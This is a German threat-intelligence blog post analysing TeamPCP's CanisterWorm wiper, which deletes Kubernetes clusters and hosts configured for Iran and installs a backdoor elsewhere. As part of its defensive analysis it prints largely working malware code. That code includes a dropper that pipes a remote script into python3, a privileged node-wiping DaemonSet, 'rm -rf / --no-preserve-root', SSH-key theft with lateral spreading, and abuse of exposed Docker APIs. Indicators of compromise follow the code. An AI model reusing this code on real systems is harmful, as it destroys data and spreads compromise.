Aikido

CanisterWorm wird aggressiver: Der Kubernetes-Wiper von TeamPCP zielt auf den Iran ab

Verfasst von
Charlie Eriksen

Wir haben eine neue Schadsoftware im Arsenal von TeamPCP entdeckt, die nicht nur Zugangsdaten stiehlt oder Hintertüren installiert. Sie löscht ganze Kubernetes-Cluster.

Das Skript verwendet genau denselben ICP-Canister (tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io) haben wir im CanisterWorm-Kampagne. Gleiches C2, gleicher Backdoor-Code, gleiches /tmp/pglog Drop-Pfad. Die Kubernetes-native laterale Bewegung über DaemonSets entspricht dem bekannten Vorgehensmuster von TeamPCP, doch diese Variante weist ein bisher unbekanntes Merkmal auf: eine geopolitisch ausgerichtete zerstörerische Nutzlast, die speziell auf iranische Systeme abzielt.

Allgemeine Informationen

Da der Blogbeitrag viele technische Details enthält, finden Sie hier eine Zusammenfassung der wichtigsten Erkenntnisse, die wir gewonnen haben:

  • 😊 Es handelt sich um denselben ICP-Kanister C2 wie bei CanisterWorm (tdtqy-oyaaa-aaaae-af2dq-cai)
  • 🎯 Die Payload überprüft die Zeitzone und die Ländereinstellung, um iranische Systeme zu identifizieren
  • ☸️ Auf Kubernetes: Stellt privilegierte DaemonSets auf jedem Knoten bereit, einschließlich der Steuerungsebene
    • 💀 Iranische Knoten werden gelöscht und über einen container Kamikaze
    • 🔒 Auf nicht-iranischen Knoten wird die Backdoor „CanisterWorm“ als systemd-Dienst installiert
  • 💣 Nicht-K8s-Hosts aus dem Iran erhalten rm -rf / --no-preserve-root
  • 🐘 Persistenz, getarnt als PostgreSQL-Tool: pglog, pg_state, interner Monitor
  • 😄 Es wurde beobachtet, dass mehrere Cloudflare abwechselnd als Infrastruktur für die Bereitstellung von Nutzdaten eingesetzt werden
  • 🟪 Die neueste Variante ermöglicht eine netzwerkbasierte laterale Bewegung
    • 🔑 SSH-Angriffe durch gestohlene Schlüssel und die Auswertung von Authentifizierungsprotokollen
    • 🐳 Nutzt exponierte Docker-APIs am Port 2375 im lokalen Subnetz aus

Der Ausstatter

Zunächst stellten wir fest, dass es einfach auf https://souls-entire-defined-routes[.]trycloudflare.com/kamikaze.sh , die eine einzige Nutzlast enthielt. Später teilte sie die Nutzlast in zwei Dateien auf, wie unten zu sehen ist.

#!/usr/bin/env bash
set -euo pipefail

if ! command -v kubectl &>/dev/null; then
    ARCH="amd64"
    [[ "$(uname -m)" == "aarch64" ]] && ARCH="arm64"
    curl -L -s "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/${ARCH}/kubectl" -o /tmp/kubectl
    chmod +x /tmp/kubectl
    export PATH="/tmp:$PATH"
fi

PY_URL="https://souls-entire-defined-routes.trycloudflare[.]com/kube.py"
curl -L -s "$PY_URL" | python3 -

rm -- "$0"

Wie du sehen kannst, wird es heruntergeladen kubectl falls es noch nicht installiert ist. Dann wird es heruntergeladen kube.py vom selben Host und führt diesen aus, bevor es sich selbst löscht. Der wirklich interessante Code ist darin enthalten. Hier sind die letzten Zeilen des Skripts, die die Absicht des Codes deutlich machen und die wir im Folgenden näher erläutern werden:

if __name__ == "__main__":    if is_k8s():        if is_iran():
           deploy_destructive_ds()        else:
           deploy_std_ds()    else:        if is_iran():
           poison_pill()
        sys.exit(1)

Wie es sein Ziel auswählt

Als Erstes ermittelt die Payload, wo sie ausgeführt wird. Dazu führt sie zwei Überprüfungen durch:

def is_k8s():
    return os.path.exists("secrets.io/serviceaccount") or \
           "KUBERNETES_SERVICE_HOST" in os.environ

Standardmäßige Kubernetes-Pod-Erkennung. Jedem Pod wird standardmäßig ein Dienstkonto zugewiesen.

Und dann noch das:

def is_iran():
   tz = ""
     if os.path.exists("/etc/timezone"):        with open("/etc/timezone", "r") as f:
           tz = f.read().strip()    else:
        try:
           tz = subprocess.check_output(["timedatectl", "show", "--property=Timezone", "--value"], 
                                        stderr=subprocess.DEVNULL).decode().strip()
        except:
           pass 
    
    lang = os.environ.get("LANG", "")    return tz in ["Asia/Tehran", "Iran"] or "fa_IR" in lang

Es überprüft die Zeitzone und die Ländereinstellung des Systems. Wenn der Rechner für den Iran konfiguriert ist (Asien/Teheran, Iran, oder fa_IR), nimmt die Nutzlast einen ganz anderen Weg.

Vier Wege, ein Drehbuch

Der Entscheidungsbaum ist einfach und schonungslos:

  • Kubernetes + Iran: Ein DaemonSet bereitstellen, das jeden Knoten im Cluster löscht
  • Kubernetes und andere Umgebungen: Stellt ein DaemonSet bereit, das auf jedem Knoten die Backdoor „CanisterWorm“ installiert
  • Kein Kubernetes + Iran: rm -rf / --no-preserve-root
  • Kein Kubernetes + anderweitig: Beenden. Es passiert nichts.

Der Scheibenwischer: „Kamikaze“

Das auf den Iran ausgerichtete DaemonSet heißt Host-Provisioner-Iran. Der darin container heißt Kamikaze. Von „subtil“ kann hier keine Rede sein.

def deploy_destructive_ds():
    ds_name = "host-provisioner-iran"
    if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
        return

    yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: {ds_name}
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: {ds_name}
  template:
    metadata:
      labels:
        name: {ds_name}
    spec:
      hostNetwork: true
      hostPID: true
      tolerations:
      - operator: Exists
      containers:
      - name: kamikaze
        image: alpine:latest
        securityContext:
          privileged: true
        command: ["/bin/sh", "-c"]
        args:
          - |
            find /mnt/host -maxdepth 1 -not -name 'mnt' -exec rm -rf {{}} + || true
            chroot /mnt/host reboot -f
        volumeMounts:
        - name: host-root
          mountPath: /mnt/host
      volumes:
      - name: host-root
        hostPath:
          path: /
"""
    subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())

Das DaemonSet hängt das Root-Dateisystem des Hosts an /mnt/host, löscht alles auf der obersten Ebene und führt anschließend einen erzwungenen Neustart durch. Da es sich um ein DaemonSet mit Toleranzen: [Operator: Exists]wird es auf jedem Knoten im Cluster eingeplant, einschließlich der Steuerungsebene. Ein kubectl apply und der gesamte Cluster ist unbrauchbar.

Der Persistenzpfad

Für nicht-iranische Ziele gilt das DaemonSet (host-provisioner-std) ist weniger spektakulär, aber im praktischen Einsatz nützlicher. Es schreibt die CanisterWorm-Backdoor auf jeden Knoten und registriert sie als systemd-Dienst:

def deploy_std_ds():
    ds_name = "host-provisioner-std"
    if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
        return

    yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: {ds_name}
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: {ds_name}
  template:
    metadata:
      labels:
        name: {ds_name}
    spec:
      hostNetwork: true
      hostPID: true
      tolerations:
      - operator: Exists
      containers:
      - name: provisioner
        image: alpine:latest
        securityContext:
          privileged: true
        command: ["/bin/sh", "-c"]
        args:
          - |
            mkdir -p /mnt/host{CONFIG['TARGET_DIR']}
            echo '{CONFIG['PYTHON_B64']}' | base64 -d > /mnt/host{CONFIG['TARGET_DIR']}/runner.py
            cat <<EOF_UNIT > /mnt/host/etc/systemd/system/{CONFIG['SVC_NAME']}.service
            [Unit]
            Description=System Monitor
            After=network.target

            [Service]
            ExecStart=/usr/bin/python3 {CONFIG['TARGET_DIR']}/runner.py
            Restart=always
            RestartSec=5

            [Install]
            WantedBy=multi-user.target
            EOF_UNIT
            chroot /mnt/host systemctl daemon-reload
            chroot /mnt/host systemctl enable --now {CONFIG['SVC_NAME']}
            sleep infinity
        volumeMounts:
        - name: host-root
          mountPath: /mnt/host
      volumes:
      - name: host-root
        hostPath:
          path: /
"""
    subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())

Die Hintertür ist dieselbe, die wir bereits im Beitrag zu CanisterWorm beschrieben haben. Sie fragt alle 50 Minuten den ICP-Canister nach einer Binär-URL ab, lädt die angegebene Datei herunter und führt sie aus. Die youtube[.]com Der Kill-Schalter ist weiterhin vorhanden.

Die „Giftpille“

Bei iranischen Systemen, die nicht auf Kubernetes basieren, ist der Ansatz einfacher:

def poison_pill():
    cmd = "rm -rf / --no-preserve-root"
    if os.getuid() == 0:
        os.system(cmd)
    else:
        os.system(f"sudo -n {cmd} 2>/dev/null || {cmd}")

Wenn es sich um Root handelt, wird das System gelöscht. Wenn nicht, versucht es zunächst, sudo ohne Passwort auszuführen, und versucht es dann trotzdem. Selbst ohne Root-Rechte wird alles zerstört, was dem Benutzer gehört.

Warum das wichtig ist

TeamPCP ist seit Ende 2025 als cloud-nativer Angreifer bekannt, der es auf falsch konfigurierte Docker-APIs, Kubernetes-Cluster und CI/CD-Pipelines abgesehen hat. Ihr Vorgehensmuster (Umgebungs-Fingerprinting, Kubernetes-spezifische Verzweigungen) ist dabei konsistent geblieben. Doch der Trivy und die CanisterWorm-Kampagne zeigten, dass sie auf Supply-Chain-Ebene operieren können, und diese Payload beweist, dass sie bereit sind, zerstörerisch zu handeln, wenn sie es wollen.

Worauf Sie achten sollten

Überprüfen Sie, ob DaemonSets vorhanden sind in kube-system die du nicht erstellt hast:

kubectl get ds -n kube-system

Suchen Sie nach Host-Provisioner-Iran oder host-provisioner-std. Überprüfen Sie außerdem alle DaemonSets, die hostPath: / mit einem privilegierten Sicherheitskontext. Diese Kombination sollte niemals außerhalb von Agenten auf Infrastrukturebene wie dem Kubelet selbst vorkommen.

Überprüfen Sie auf der Host-Seite Folgendes:

  • Ein systemd-Dienst namens interner Monitor (systemctl status internal-monitor)
  • Dateien unter /var/lib/svc_internal/runner.py
  • Prozesse mit dem Namen pglog in /tmp/
  • Ausgehende Verbindungen zu icp0[.]io Domains

Aktuelles: Es breitet sich jetzt aus

Gerade ist eine dritte Version der Nutzlast erschienen, gehostet unter https://championships-peoples-point-cassette.trycloudflare[.]com/prop.py Dieselbe ICP-Canister-Backdoor, derselbe iranische Wiper, aber dieser hier benötigt kein Kubernetes. Er verbreitet sich von selbst.

Die früheren Versionen nutzten DaemonSets, um sich innerhalb eines Clusters zu bewegen. Diese Variante verzichtet vollständig darauf und ersetzt sie durch zwei Methoden zur lateralen Bewegung: den Diebstahl von SSH-Schlüsseln und die Ausnutzung offengelegter Docker-APIs. Außerdem durchsucht sie das lokale /24-Subnetz nach neuen Zielen.

So findet es die Ziele, auf die es zielt:

def get_accepted_targets():
    targets = {}
    for path in ["/var/log/auth.log", "/var/log/secure"]:
        if os.path.exists(path):
            try:
                with open(path, "r") as f:
                    for line in f:
                        if "Accepted" in line:
                            match = re.search(r'Accepted \S+ for (\S+) from (\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)', line)
                            if match:
                                user, ip = match.groups()
                                if ip not in targets: targets[ip] = []
                                if user not in targets[ip]: targets[ip].append(user)
            except: pass
    return targets

Es analysiert /var/log/auth.log und /var/log/secure bei erfolgreichen SSH-Anmeldungen, wobei sowohl der Benutzername als auch die Quell-IP extrahiert werden. Diese werden zu Zielpaaren für die Verbreitung. Für jede IP-Adresse im Subnetz, die nicht in den Authentifizierungsprotokollen enthalten war, greift das Programm auf den Versuch zurück, root, ubuntu, admin, und ec2-user.

Dann sammelt es alle SSH-Privatschlüssel ein, die es finden kann:

keys = []
ssh_base = os.path.expanduser("~/.ssh")    for t in ["id_rsa", "id_ed25519", "id_ecdsa"]:
       p = os.path.join(ssh_base, t)
                if os.path.exists(p):
            keys.append(p)

Für jedes Ziel werden zwei Ports überprüft. Port 22 wird auf SSH-Verbreitung geprüft:

cmd = ["ssh", "-o", "StrictHostKeyChecking=no", "-o", "PasswordAuthentication=no",
       "-o", "ConnectTimeout=5", "-i", k, f"{user}@{ip}",
       f"echo {b64_logic} | base64 -d | bash"]

Über Port 2375 wird die Docker-API ausgenutzt, wodurch ein container mit erhöhten Rechten erstellt wird, container das Stammverzeichnis des Hosts eingebunden ist:

payload = {
    "Image": "alpine:latest",
    "Cmd": ["/bin/sh", "-c", f"chroot /mnt/host /bin/sh -c '{logic}'"],
    "HostConfig": {"Binds": ["/:/mnt/host"], "Privileged": True, "NetworkMode": "host"}
}
conn.request("POST", "/containers/create", json.dumps(payload), {"Content-Type": "application/json"})

Beide Wege führen zum gleichen Ergebnis get_remote_logic() Payload, der auf dem Remote-Host die Überprüfung der iranischen Zeitzone durchführt. Iranische Ziele werden gelöscht, alle anderen erhalten die pgmon.py Backdoor, die als systemd-Dienst installiert wurde.

Der Scheibenwischer selbst hat sich verändert. Die früheren Versionen verwendeten rm -rf / --no-preserve-root auf Nicht-K8s-Hosts, während die verwendete DaemonSet-Variante find / -maxdepth 1 ... -exec rm -rf {} + mit einem erzwungenen Neustart. Diese Version standardisiert auf dem finden Ansatz mit Neustart -f auf breiter Front:

find / -maxdepth 1 -not -name 'mnt' -exec rm -rf {} + || true; reboot -f

Das stammt direkt aus einem früheren Beitrag von TeamPCP proxy.sh und pcpcat.py Tools, mit denen sie nach exponierten Docker-APIs suchten und SSH-Schlüssel über Subnetze hinweg verbreiteten. Der Unterschied besteht darin, dass es sich bei diesen Tools um eigenständige Skripte zum Aufbau der Infrastruktur handelte. Dieses hier enthält die Backdoor „CanisterWorm“ und den „Iran Wiper“.

Einige weitere Änderungen gegenüber den Vorgängerversionen: Der Name des Dienstes wurde von interner Monitor zu pgmonitor, der Installationspfad wurde von /var/lib/svc_internal/ zu /var/lib/pgmon/, und die systemd-Beschreibung lautet nun „Postgres Monitor Service“. Die Tarnung von PostgreSQL wird immer einheitlicher.

Indikatoren für Kompromittierung

Netzwerk

  • tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io (ICP-Kanister C2 – Dead-Drop)
  • https://souls-entire-defined-routes.trycloudflare[.]com/ (Lieferung der Nutzlast, zuerst)
  • https://investigation-launches-hearings-copying.trycloudflare[.]com/ (Nutzlastabwurf, Sekunde)
  • https://championships-peoples-point-cassette.trycloudflare[.]com (Lieferung der Nutzlast, dritter)

Kubernetes

  • DaemonSet Host-Provisioner-Iran in kube-system
  • DaemonSet host-provisioner-std in kube-system
  • Container : Kamikaze, Bereitsteller

Host

  • /var/lib/svc_internal/runner.py
  • /etc/systemd/system/internal-monitor.service
  • /tmp/pglog
  • /tmp/.pg_state
  • /var/lib/pgmon/pgmon.py
  • /etc/systemd/system/pgmonitor.service
  • Systemd-Dienst: pgmonitor (Beschreibung: „Postgres-Monitor-Dienst“)
  • Systemd-Dienst: interner Monitor

Indikatoren für seitliche Bewegungen

  • Ausgehende SSH-Verbindungen mit StrictHostKeyChecking=no von kompromittierten Hosts
  • Ausgehende Verbindungen zu Port 2375 (Docker-API) innerhalb des lokalen Subnetzes
  • Privilegierte Alpine-Container, die über die nicht authentifizierte Docker-API erstellt wurden, mit hostPath: / Bind-Mount

... Die Geschichte entwickelt sich weiter. Bleiben Sie auf dem Laufenden.

Teilen:

https://www.aikido.dev/blog/teampcp-stage-payload-canisterworm-iran

Abonnieren Sie Bedrohungs-News.

Heute kostenlos starten.

Kostenlos starten
Ohne Kreditkarte
4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.